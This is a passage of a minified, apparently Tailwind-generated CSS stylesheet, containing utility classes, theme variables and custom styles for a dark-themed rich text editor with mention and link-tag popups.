var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[3px\]:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(3px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-\[\#38bdac\]:focus-visible{--tw-ring-color:#38bdac}.focus-visible\:ring-red-500:focus-visible{--tw-ring-color:var(--color-red-500)}.focus-visible\:ring-offset-0:focus-visible{--tw-ring-offset-width:0px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width:2px;--tw-ring-offset-shadow:var(--tw-ring-inset,)0 0 0 var(--tw-ring-offset-width)var(--tw-ring-offset-color)}.focus-visible\:ring-offset-\[\#0a1628\]:focus-visible{--tw-ring-offset-color:#0a1628}.focus-visible\:outline-none:focus-visible{--tw-outline-style:none;outline-style:none}.active\:cursor-grabbing:active{cursor:grabbing}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.has-\[\>svg\]\:px-2\.5:has(>svg){padding-inline:calc(var(--spacing)*2.5)}.has-\[\>svg\]\:px-3:has(>svg){padding-inline:calc(var(--spacing)*3)}.has-\[\>svg\]\:px-4:has(>svg){padding-inline:calc(var(--spacing)*4)}.data-\[disabled\]\:pointer-events-none[data-disabled]{pointer-events:none}.data-\[disabled\]\:opacity-50[data-disabled]{opacity:.5}.data-\[side\=bottom\]\:translate-y-1[data-side=bottom]{--tw-translate-y:calc(var(--spacing)*1);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=active\]\:bg-\[\#07C160\]\/20[data-state=active]{background-color:#07c16033}.data-\[state\=active\]\:bg-\[\#26A17B\]\/20[data-state=active]{background-color:#26a17b33}.data-\[state\=active\]\:bg-\[\#38bdac\]\/20[data-state=active]{background-color:#38bdac33}.data-\[state\=active\]\:bg-\[\#1677FF\]\/20[data-state=active]{background-color:#1677ff33}.data-\[state\=active\]\:bg-\[\#003087\]\/20[data-state=active]{background-color:#00308733}.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-amber-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.data-\[state\=active\]\:bg-purple-500\/20[data-state=active]{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.data-\[state\=active\]\:font-medium[data-state=active]{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.data-\[state\=active\]\:text-\[\#07C160\][data-state=active]{color:#07c160}.data-\[state\=active\]\:text-\[\#26A17B\][data-state=active]{color:#26a17b}.data-\[state\=active\]\:text-\[\#38bdac\][data-state=active]{color:#38bdac}.data-\[state\=active\]\:text-\[\#169BD7\][data-state=active]{color:#169bd7}.data-\[state\=active\]\:text-\[\#1677FF\][data-state=active]{color:#1677ff}.data-\[state\=active\]\:text-amber-400[data-state=active]{color:var(--color-amber-400)}.data-\[state\=active\]\:text-purple-400[data-state=active]{color:var(--color-purple-400)}.data-\[state\=active\]\:shadow[data-state=active]{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.data-\[state\=checked\]\:translate-x-4[data-state=checked]{--tw-translate-x:calc(var(--spacing)*4);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=checked\]\:bg-\[\#38bdac\][data-state=checked]{background-color:#38bdac}.data-\[state\=unchecked\]\:translate-x-0[data-state=unchecked]{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.data-\[state\=unchecked\]\:bg-gray-600[data-state=unchecked]{background-color:var(--color-gray-600)}@media(min-width:40rem){.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:flex-row{flex-direction:row}.sm\:justify-end{justify-content:flex-end}.sm\:gap-2{gap:calc(var(--spacing)*2)}.sm\:text-left{text-align:left}}@media(min-width:48rem){.md\:col-span-2{grid-column:span 2/span 2}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.md\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.md\:text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}}@media(min-width:64rem){.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.lg\:grid-cols-8{grid-template-columns:repeat(8,minmax(0,1fr))}}@media(min-width:80rem){.xl\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4 svg:not([class*=size-]){width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.\[\&_tr\]\:border-b tr{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.\[\&_tr\:last-child\]\:border-0 tr:last-child{border-style:var(--tw-border-style);border-width:0}.\[\&\:has\(\[role\=checkbox\]\)\]\:pr-0:has([role=checkbox]){padding-right:calc(var(--spacing)*0)}.\[\&\>span\]\:line-clamp-1>span{-webkit-line-clamp:1;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}}:root{--background:oklch(14.5% 0 0);--foreground:oklch(98.5% 0 0);--card:oklch(20% .02 240);--card-foreground:oklch(98.5% 0 0);--popover:oklch(20% .02 240);--popover-foreground:oklch(98.5% 0 0);--primary:oklch(65% .15 180);--primary-foreground:oklch(20% 0 0);--secondary:oklch(27% 0 0);--secondary-foreground:oklch(98.5% 0 0);--muted:oklch(27% 0 0);--muted-foreground:oklch(65% 0 0);--accent:oklch(27% 0 0);--accent-foreground:oklch(98.5% 0 0);--destructive:oklch(55% .2 25);--destructive-foreground:oklch(98.5% 0 0);--border:oklch(35% 0 0);--input:oklch(35% 0 0);--ring:oklch(65% .15 180);--radius:.625rem}body{font-family:var(--font-sans);color:var(--foreground);background:#0a1628}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-scale-x{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-y{syntax:"*";inherits:false;initial-value:1}@property --tw-scale-z{syntax:"*";inherits:false;initial-value:1}@property --tw-rotate-x{syntax:"*";inherits:false}@property --tw-rotate-y{syntax:"*";inherits:false}@property --tw-rotate-z{syntax:"*";inherits:false}@property --tw-skew-x{syntax:"*";inherits:false}@property --tw-skew-y{syntax:"*";inherits:false}@property --tw-pan-x{syntax:"*";inherits:false}@property --tw-pan-y{syntax:"*";inherits:false}@property --tw-pinch-zoom{syntax:"*";inherits:false}@property --tw-space-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-space-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-divide-x-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-divide-y-reverse{syntax:"*";inherits:false;initial-value:0}@property --tw-gradient-position{syntax:"*";inherits:false}@property --tw-gradient-from{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-via{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-to{syntax:"";inherits:false;initial-value:#0000}@property --tw-gradient-stops{syntax:"*";inherits:false}@property --tw-gradient-via-stops{syntax:"*";inherits:false}@property --tw-gradient-from-position{syntax:"";inherits:false;initial-value:0%}@property --tw-gradient-via-position{syntax:"";inherits:false;initial-value:50%}@property --tw-gradient-to-position{syntax:"";inherits:false;initial-value:100%}@property --tw-leading{syntax:"*";inherits:false}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-tracking{syntax:"*";inherits:false}@property --tw-ordinal{syntax:"*";inherits:false}@property --tw-slashed-zero{syntax:"*";inherits:false}@property --tw-numeric-figure{syntax:"*";inherits:false}@property --tw-numeric-spacing{syntax:"*";inherits:false}@property --tw-numeric-fraction{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-backdrop-blur{syntax:"*";inherits:false}@property --tw-backdrop-brightness{syntax:"*";inherits:false}@property --tw-backdrop-contrast{syntax:"*";inherits:false}@property --tw-backdrop-grayscale{syntax:"*";inherits:false}@property --tw-backdrop-hue-rotate{syntax:"*";inherits:false}@property --tw-backdrop-invert{syntax:"*";inherits:false}@property --tw-backdrop-opacity{syntax:"*";inherits:false}@property --tw-backdrop-saturate{syntax:"*";inherits:false}@property --tw-backdrop-sepia{syntax:"*";inherits:false}@property --tw-duration{syntax:"*";inherits:false}@keyframes spin{to{transform:rotate(360deg)}} +.rich-editor-wrapper{border:1px solid #374151;border-radius:.5rem;background:#0a1628;overflow:hidden}.rich-editor-toolbar{display:flex;align-items:center;gap:2px;padding:6px 8px;border-bottom:1px solid #374151;background:#0f1d32;flex-wrap:wrap}.toolbar-group{display:flex;align-items:center;gap:1px}.toolbar-divider{width:1px;height:20px;background:#374151;margin:0 4px}.rich-editor-toolbar button{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer;transition:all .15s}.rich-editor-toolbar button:hover{background:#1f2937;color:#d1d5db}.rich-editor-toolbar button.is-active{background:#38bdac33;color:#38bdac}.rich-editor-toolbar button:disabled{opacity:.3;cursor:not-allowed}.link-tag-select{background:#0a1628;border:1px solid #374151;color:#d1d5db;font-size:12px;padding:2px 6px;border-radius:4px;cursor:pointer;max-width:160px}.link-input-bar{display:flex;align-items:center;gap:4px;padding:4px 8px;border-bottom:1px solid #374151;background:#0f1d32}.link-input{flex:1;background:#0a1628;border:1px solid #374151;color:#fff;padding:4px 8px;border-radius:4px;font-size:13px}.link-confirm,.link-remove{padding:4px 10px;border-radius:4px;border:none;font-size:12px;cursor:pointer}.link-confirm{background:#38bdac;color:#fff}.link-remove{background:#374151;color:#9ca3af}.rich-editor-content{min-height:450px;max-height:720px;overflow-y:auto;padding:12px 16px;color:#e5e7eb;font-size:14px;line-height:1.7}.rich-editor-content:focus{outline:none}.rich-editor-content h1{font-size:1.5em;font-weight:700;margin:.8em 0 .4em;color:#fff}.rich-editor-content h2{font-size:1.3em;font-weight:600;margin:.7em 0 .3em;color:#fff}.rich-editor-content h3{font-size:1.15em;font-weight:600;margin:.6em 0 .3em;color:#fff}.rich-editor-content p{margin:.4em 0}.rich-editor-content strong{color:#fff}.rich-editor-content code{background:#1f2937;padding:2px 6px;border-radius:3px;font-size:.9em;color:#38bdac}.rich-editor-content pre{background:#1f2937;padding:12px;border-radius:6px;overflow-x:auto;margin:.6em 0}.rich-editor-content blockquote{border-left:3px solid #38bdac;padding-left:12px;margin:.6em 0;color:#9ca3af}.rich-editor-content ul,.rich-editor-content ol{padding-left:1.5em;margin:.4em 0}.rich-editor-content li{margin:.2em 0}.rich-editor-content hr{border:none;border-top:1px solid #374151;margin:1em 0}.rich-editor-content img{max-width:100%;border-radius:6px;margin:.5em 0}.rich-editor-content a,.rich-link{color:#38bdac;text-decoration:underline;cursor:pointer}.rich-editor-content table{border-collapse:collapse;width:100%;margin:.5em 0}.rich-editor-content th,.rich-editor-content td{border:1px solid #374151;padding:6px 10px;text-align:left}.rich-editor-content th{background:#1f2937;font-weight:600}.rich-editor-content .ProseMirror-placeholder:before{content:attr(data-placeholder);color:#6b7280;float:left;height:0;pointer-events:none}.mention-tag{background:#38bdac26;color:#38bdac;border-radius:4px;padding:1px 4px;font-weight:500}.link-tag-node{background:#ffd7001f;color:gold;border-radius:4px;padding:1px 4px;font-weight:500;cursor:default;-webkit-user-select:all;user-select:all}.mention-popup{position:fixed;z-index:9999;background:#1a2638;border:1px solid #374151;border-radius:8px;padding:4px;min-width:180px;max-height:240px;overflow-y:auto;box-shadow:0 4px 20px #0006}.mention-item{display:flex;align-items:center;justify-content:space-between;padding:6px 10px;border-radius:4px;cursor:pointer;color:#d1d5db;font-size:13px}.mention-item:hover,.mention-item.is-selected{background:#38bdac26;color:#38bdac}.mention-name{font-weight:500}.mention-id{font-size:11px;color:#6b7280}.bubble-menu{display:flex;gap:2px;background:#1a2638;border:1px solid #374151;border-radius:6px;padding:4px;box-shadow:0 4px 12px #0000004d}.bubble-menu button{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:4px;border:none;background:transparent;color:#9ca3af;cursor:pointer}.bubble-menu button:hover{background:#1f2937;color:#d1d5db}.bubble-menu button.is-active{color:#38bdac}/*! tailwindcss v4.1.18 | MIT License | https://tailwindcss.com */@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-scale-x:1;--tw-scale-y:1;--tw-scale-z:1;--tw-rotate-x:initial;--tw-rotate-y:initial;--tw-rotate-z:initial;--tw-skew-x:initial;--tw-skew-y:initial;--tw-pan-x:initial;--tw-pan-y:initial;--tw-pinch-zoom:initial;--tw-space-y-reverse:0;--tw-space-x-reverse:0;--tw-divide-x-reverse:0;--tw-border-style:solid;--tw-divide-y-reverse:0;--tw-gradient-position:initial;--tw-gradient-from:#0000;--tw-gradient-via:#0000;--tw-gradient-to:#0000;--tw-gradient-stops:initial;--tw-gradient-via-stops:initial;--tw-gradient-from-position:0%;--tw-gradient-via-position:50%;--tw-gradient-to-position:100%;--tw-leading:initial;--tw-font-weight:initial;--tw-tracking:initial;--tw-ordinal:initial;--tw-slashed-zero:initial;--tw-numeric-figure:initial;--tw-numeric-spacing:initial;--tw-numeric-fraction:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-backdrop-blur:initial;--tw-backdrop-brightness:initial;--tw-backdrop-contrast:initial;--tw-backdrop-grayscale:initial;--tw-backdrop-hue-rotate:initial;--tw-backdrop-invert:initial;--tw-backdrop-opacity:initial;--tw-backdrop-saturate:initial;--tw-backdrop-sepia:initial;--tw-duration:initial}}}@layer theme{:root,:host{--font-sans:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--font-mono:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--color-red-100:oklch(93.6% .032 17.717);--color-red-300:oklch(80.8% .114 19.571);--color-red-400:oklch(70.4% .191 22.216);--color-red-500:oklch(63.7% .237 25.331);--color-red-600:oklch(57.7% .245 27.325);--color-red-700:oklch(50.5% .213 27.518);--color-red-800:oklch(44.4% .177 26.899);--color-red-900:oklch(39.6% .141 25.723);--color-orange-300:oklch(83.7% .128 66.29);--color-orange-400:oklch(75% .183 55.934);--color-orange-500:oklch(70.5% .213 47.604);--color-orange-600:oklch(64.6% .222 41.116);--color-amber-200:oklch(92.4% .12 95.746);--color-amber-300:oklch(87.9% .169 91.605);--color-amber-400:oklch(82.8% .189 84.429);--color-amber-500:oklch(76.9% .188 70.08);--color-amber-600:oklch(66.6% .179 58.318);--color-yellow-400:oklch(85.2% .199 91.936);--color-yellow-500:oklch(79.5% .184 86.047);--color-green-300:oklch(87.1% .15 154.449);--color-green-400:oklch(79.2% .209 151.711);--color-green-500:oklch(72.3% .219 149.579);--color-green-600:oklch(62.7% .194 149.214);--color-green-700:oklch(52.7% .154 150.069);--color-emerald-400:oklch(76.5% .177 163.223);--color-emerald-500:oklch(69.6% .17 162.48);--color-cyan-400:oklch(78.9% .154 211.53);--color-cyan-500:oklch(71.5% .143 215.221);--color-sky-200:oklch(90.1% .058 230.902);--color-sky-300:oklch(82.8% .111 230.318);--color-blue-300:oklch(80.9% .105 251.813);--color-blue-400:oklch(70.7% .165 254.624);--color-blue-500:oklch(62.3% .214 259.815);--color-purple-400:oklch(71.4% .203 305.504);--color-purple-500:oklch(62.7% .265 303.9);--color-rose-400:oklch(71.2% .194 13.428);--color-gray-200:oklch(92.8% .006 264.531);--color-gray-300:oklch(87.2% .01 258.338);--color-gray-400:oklch(70.7% .022 261.325);--color-gray-500:oklch(55.1% .027 264.364);--color-gray-600:oklch(44.6% .03 256.802);--color-gray-700:oklch(37.3% .034 259.733);--color-gray-800:oklch(27.8% .033 256.848);--color-black:#000;--color-white:#fff;--spacing:.25rem;--container-xs:20rem;--container-sm:24rem;--container-md:28rem;--container-lg:32rem;--container-2xl:42rem;--container-3xl:48rem;--container-4xl:56rem;--text-xs:.75rem;--text-xs--line-height:calc(1/.75);--text-sm:.875rem;--text-sm--line-height:calc(1.25/.875);--text-base:1rem;--text-base--line-height: 1.5 ;--text-lg:1.125rem;--text-lg--line-height:calc(1.75/1.125);--text-xl:1.25rem;--text-xl--line-height:calc(1.75/1.25);--text-2xl:1.5rem;--text-2xl--line-height:calc(2/1.5);--text-3xl:1.875rem;--text-3xl--line-height: 1.2 ;--text-4xl:2.25rem;--text-4xl--line-height:calc(2.5/2.25);--font-weight-normal:400;--font-weight-medium:500;--font-weight-semibold:600;--font-weight-bold:700;--tracking-tight:-.025em;--tracking-wider:.05em;--leading-tight:1.25;--leading-relaxed:1.625;--radius-sm:.25rem;--radius-md:.375rem;--radius-lg:.5rem;--radius-xl:.75rem;--radius-2xl:1rem;--animate-spin:spin 1s linear infinite;--blur-xl:24px;--blur-3xl:64px;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4,0,.2,1);--default-font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif;--default-mono-font-family:var(--font-mono)}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;line-height:1.5;font-family:var(--default-font-family,ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring{outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){-webkit-appearance:button;-moz-appearance:button;appearance:button}::file-selector-button{-webkit-appearance:button;-moz-appearance:button;appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}}@layer components;@layer utilities{.pointer-events-none{pointer-events:none}.collapse{visibility:collapse}.invisible{visibility:hidden}.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.not-sr-only{clip-path:none;white-space:normal;width:auto;height:auto;margin:0;padding:0;position:static;overflow:visible}.absolute{position:absolute}.fixed{position:fixed}.relative{position:relative}.static{position:static}.sticky{position:sticky}.inset-0{inset:calc(var(--spacing)*0)}.-top-2\.5{top:calc(var(--spacing)*-2.5)}.top-0{top:calc(var(--spacing)*0)}.top-1\/2{top:50%}.top-1\/4{top:25%}.top-4{top:calc(var(--spacing)*4)}.top-16{top:calc(var(--spacing)*16)}.top-\[50\%\]{top:50%}.top-full{top:100%}.right-0{right:calc(var(--spacing)*0)}.right-1{right:calc(var(--spacing)*1)}.right-1\/4{right:25%}.right-4{right:calc(var(--spacing)*4)}.bottom-1\/4{bottom:25%}.-left-2\.5{left:calc(var(--spacing)*-2.5)}.left-0{left:calc(var(--spacing)*0)}.left-1\/4{left:25%}.left-2{left:calc(var(--spacing)*2)}.left-3{left:calc(var(--spacing)*3)}.left-\[50\%\]{left:50%}.isolate{isolation:isolate}.isolation-auto{isolation:auto}.z-10{z-index:10}.z-50{z-index:50}.col-span-2{grid-column:span 2/span 2}.container{width:100%}@media(min-width:40rem){.container{max-width:40rem}}@media(min-width:48rem){.container{max-width:48rem}}@media(min-width:64rem){.container{max-width:64rem}}@media(min-width:80rem){.container{max-width:80rem}}@media(min-width:96rem){.container{max-width:96rem}}.-mx-2{margin-inline:calc(var(--spacing)*-2)}.-mx-8{margin-inline:calc(var(--spacing)*-8)}.mx-20{margin-inline:calc(var(--spacing)*20)}.mx-auto{margin-inline:auto}.-mt-6{margin-top:calc(var(--spacing)*-6)}.mt-0{margin-top:calc(var(--spacing)*0)}.mt-0\.5{margin-top:calc(var(--spacing)*.5)}.mt-1{margin-top:calc(var(--spacing)*1)}.mt-1\.5{margin-top:calc(var(--spacing)*1.5)}.mt-2{margin-top:calc(var(--spacing)*2)}.mt-3{margin-top:calc(var(--spacing)*3)}.mt-4{margin-top:calc(var(--spacing)*4)}.mt-6{margin-top:calc(var(--spacing)*6)}.mt-8{margin-top:calc(var(--spacing)*8)}.mr-1{margin-right:calc(var(--spacing)*1)}.mr-2{margin-right:calc(var(--spacing)*2)}.mr-3{margin-right:calc(var(--spacing)*3)}.mr-auto{margin-right:auto}.mb-1{margin-bottom:calc(var(--spacing)*1)}.mb-1\.5{margin-bottom:calc(var(--spacing)*1.5)}.mb-2{margin-bottom:calc(var(--spacing)*2)}.mb-3{margin-bottom:calc(var(--spacing)*3)}.mb-4{margin-bottom:calc(var(--spacing)*4)}.mb-5{margin-bottom:calc(var(--spacing)*5)}.mb-6{margin-bottom:calc(var(--spacing)*6)}.mb-8{margin-bottom:calc(var(--spacing)*8)}.ml-1{margin-left:calc(var(--spacing)*1)}.ml-2{margin-left:calc(var(--spacing)*2)}.ml-4{margin-left:calc(var(--spacing)*4)}.ml-6{margin-left:calc(var(--spacing)*6)}.ml-auto{margin-left:auto}.line-clamp-2{-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.line-clamp-3{-webkit-line-clamp:3;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.block{display:block}.contents{display:contents}.flex{display:flex}.flow-root{display:flow-root}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline\!{display:inline!important}.inline-block{display:inline-block}.inline-flex{display:inline-flex}.inline-grid{display:inline-grid}.inline-table{display:inline-table}.list-item{display:list-item}.table{display:table}.table\!{display:table!important}.table-caption{display:table-caption}.table-cell{display:table-cell}.table-column{display:table-column}.table-column-group{display:table-column-group}.table-footer-group{display:table-footer-group}.table-header-group{display:table-header-group}.table-row{display:table-row}.table-row-group{display:table-row-group}.size-4{width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.size-8{width:calc(var(--spacing)*8);height:calc(var(--spacing)*8)}.size-9{width:calc(var(--spacing)*9);height:calc(var(--spacing)*9)}.size-10{width:calc(var(--spacing)*10);height:calc(var(--spacing)*10)}.h-0\.5{height:calc(var(--spacing)*.5)}.h-1\.5{height:calc(var(--spacing)*1.5)}.h-2{height:calc(var(--spacing)*2)}.h-3{height:calc(var(--spacing)*3)}.h-3\.5{height:calc(var(--spacing)*3.5)}.h-4{height:calc(var(--spacing)*4)}.h-5{height:calc(var(--spacing)*5)}.h-6{height:calc(var(--spacing)*6)}.h-7{height:calc(var(--spacing)*7)}.h-8{height:calc(var(--spacing)*8)}.h-9{height:calc(var(--spacing)*9)}.h-10{height:calc(var(--spacing)*10)}.h-12{height:calc(var(--spacing)*12)}.h-16{height:calc(var(--spacing)*16)}.h-20{height:calc(var(--spacing)*20)}.h-24{height:calc(var(--spacing)*24)}.h-96{height:calc(var(--spacing)*96)}.h-\[75vh\]{height:75vh}.h-auto{height:auto}.h-full{height:100%}.h-screen{height:100vh}.max-h-48{max-height:calc(var(--spacing)*48)}.max-h-96{max-height:calc(var(--spacing)*96)}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-\[250px\]{max-height:250px}.max-h-\[300px\]{max-height:300px}.max-h-\[400px\]{max-height:400px}.max-h-none{max-height:none}.min-h-0{min-height:calc(var(--spacing)*0)}.min-h-8{min-height:calc(var(--spacing)*8)}.min-h-\[32px\]{min-height:32px}.min-h-\[40px\]{